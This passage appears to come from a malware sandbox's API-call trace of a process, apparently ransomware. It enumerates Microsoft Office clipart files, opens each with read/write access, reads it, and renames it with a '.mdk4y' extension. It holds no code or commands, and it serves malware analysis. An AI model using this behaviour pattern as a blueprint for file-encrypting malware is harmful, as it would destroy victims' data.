files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp.mdk4y")) returned 1 [0173.084] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.084] AreFileApisANSI () returned 1 [0173.084] GetACP () returned 0x4e4 [0173.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02759J.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02759J.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0173.085] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.085] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa0d2, lpOverlapped=0x0) returned 1 [0173.099] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg.mdk4y")) returned 1 [0173.101] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.101] AreFileApisANSI () returned 1 [0173.101] GetACP () returned 0x4e4 [0173.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02810J.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02810J.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0173.101] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.101] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc5d7, lpOverlapped=0x0) returned 1 [0173.103] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg.mdk4y")) returned 1 [0173.104] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.104] AreFileApisANSI () returned 1 [0173.104] GetACP () returned 0x4e4 [0173.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02829J.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02829J.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0173.104] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.105] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf438, lpOverlapped=0x0) returned 1 [0173.107] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg.mdk4y")) returned 1 [0173.107] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.107] AreFileApisANSI () returned 1 [0173.107] GetACP () returned 0x4e4 [0173.107] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02845G.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02845G.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.108] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.109] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x30f2, lpOverlapped=0x0) returned 1 [0173.115] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif.mdk4y")) returned 1 [0173.116] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.116] AreFileApisANSI () returned 1 [0173.116] GetACP () returned 0x4e4 [0173.116] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH02897J.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH02897J.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0173.116] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.117] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c45, lpOverlapped=0x0) returned 1 [0173.119] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg.mdk4y")) returned 1 [0173.120] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.120] AreFileApisANSI () returned 1 [0173.120] GetACP () returned 0x4e4 [0173.120] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH03011U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH03011U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0173.120] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.120] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c76, lpOverlapped=0x0) returned 1 [0173.122] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp.mdk4y")) returned 1 [0173.122] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.122] AreFileApisANSI () returned 1 [0173.122] GetACP () returned 0x4e4 [0173.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH03012U.BMP", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH03012U.BMP", lpUsedDefaultChar=0x37df4c) returned 12 [0173.123] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.123] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1016, lpOverlapped=0x0) returned 1 [0173.130] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp.mdk4y")) returned 1 [0173.131] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.131] AreFileApisANSI () returned 1 [0173.131] GetACP () returned 0x4e4 [0173.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH03014_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH03014_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.131] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.132] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x49d2, lpOverlapped=0x0) returned 1 [0173.138] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif.mdk4y")) returned 1 [0173.139] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.139] AreFileApisANSI () returned 1 [0173.139] GetACP () returned 0x4e4 [0173.139] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH03041I.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH03041I.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0173.139] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.139] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x78af, lpOverlapped=0x0) returned 1 [0173.149] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg.mdk4y")) returned 1 [0173.150] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.150] AreFileApisANSI () returned 1 [0173.150] GetACP () returned 0x4e4 [0173.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH03143I.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH03143I.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0173.150] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.151] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7450, lpOverlapped=0x0) returned 1 [0173.157] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg.mdk4y")) returned 1 [0173.158] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.158] AreFileApisANSI () returned 1 [0173.158] GetACP () returned 0x4e4 [0173.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH03205I.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH03205I.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0173.158] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.159] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa343, lpOverlapped=0x0) returned 1 [0173.170] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg.mdk4y")) returned 1 [0173.171] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.171] AreFileApisANSI () returned 1 [0173.171] GetACP () returned 0x4e4 [0173.171] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH03224I.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH03224I.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0173.171] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.171] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa445, lpOverlapped=0x0) returned 1 [0173.173] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg.mdk4y")) returned 1 [0173.174] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.174] AreFileApisANSI () returned 1 [0173.174] GetACP () returned 0x4e4 [0173.174] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH03379I.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH03379I.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0173.174] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.175] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2ba2, lpOverlapped=0x0) returned 1 [0173.182] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg.mdk4y")) returned 1 [0173.183] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.183] AreFileApisANSI () returned 1 [0173.183] GetACP () returned 0x4e4 [0173.183] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH03380I.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH03380I.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0173.183] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.184] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x321f, lpOverlapped=0x0) returned 1 [0173.188] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg.mdk4y")) returned 1 [0173.189] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.189] AreFileApisANSI () returned 1 [0173.189] GetACP () returned 0x4e4 [0173.189] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PH03425I.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PH03425I.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0173.189] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.189] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbdae, lpOverlapped=0x0) returned 1 [0173.191] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg.mdk4y")) returned 1 [0173.192] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.192] AreFileApisANSI () returned 1 [0173.192] GetACP () returned 0x4e4 [0173.192] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PRRT.WMF", cchWideChar=8, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PRRT.WMF.JPG", lpUsedDefaultChar=0x37df4c) returned 8 [0173.192] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.193] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xef6, lpOverlapped=0x0) returned 1 [0173.202] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf.mdk4y")) returned 1 [0173.203] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.203] AreFileApisANSI () returned 1 [0173.203] GetACP () returned 0x4e4 [0173.203] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PRRTINST.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PRRTINST.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.203] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.203] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7aac, lpOverlapped=0x0) returned 1 [0173.212] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf.mdk4y")) returned 1 [0173.213] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.213] AreFileApisANSI () returned 1 [0173.213] GetACP () returned 0x4e4 [0173.213] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PSRETRO.WMF", cchWideChar=11, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PSRETRO.WMFF", lpUsedDefaultChar=0x37df4c) returned 11 [0173.213] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft 